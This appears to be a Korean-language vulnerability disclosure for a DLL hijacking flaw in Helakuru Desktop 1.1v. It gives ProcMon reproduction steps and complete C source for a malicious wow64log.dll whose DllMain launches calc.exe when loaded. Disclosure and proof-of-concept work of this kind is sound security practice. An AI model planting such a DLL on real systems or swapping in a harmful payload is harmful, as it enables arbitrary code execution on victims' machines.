Helakuru의 DLL 하이재킹 취약점

요약

Helakuru Desktop 버전 1.1v는 64비트 및 32비트 아키텍처에서 모두 작동합니다. 테스트 중 프로그램이 최신 Windows 운영 체제에 기본적으로 포함되지 않은 wow64log.dll을 로드하려 시도하는 것이 확인되었습니다. 이로 인해 'Name not found' 오류가 발생하여 프로그램이 DLL 하이재킹 취약점에 노출됩니다. 악성 wow64log.dll을 제작하면 임의 코드 실행이 가능합니다.

영향받는 버전

Helakuru Desktop 1.1v

재현 단계

ProcMon으로 DLL 로딩 모니터링

ProcMon이 wow64log.dll에 대해 "Name not found" 오류가 있는 CreateFile 작업을 표시함

악성 wow64log.dll 생성

#include <windows.h>
#include <stdio.h>

void LaunchCalculator()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    const char* calcCmd = "C:\\Windows\\System32\\calc.exe";

    if (!CreateProcessA(
        NULL,          
        (LPSTR)calcCmd, 
        NULL,          
        NULL,          
        FALSE,         
        0,             
        NULL,          
        NULL,          
        &si,           
        &pi))          
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
    }
    else
    {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        LaunchCalculator();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

HelakuruV.1.1-DLLHijack

인기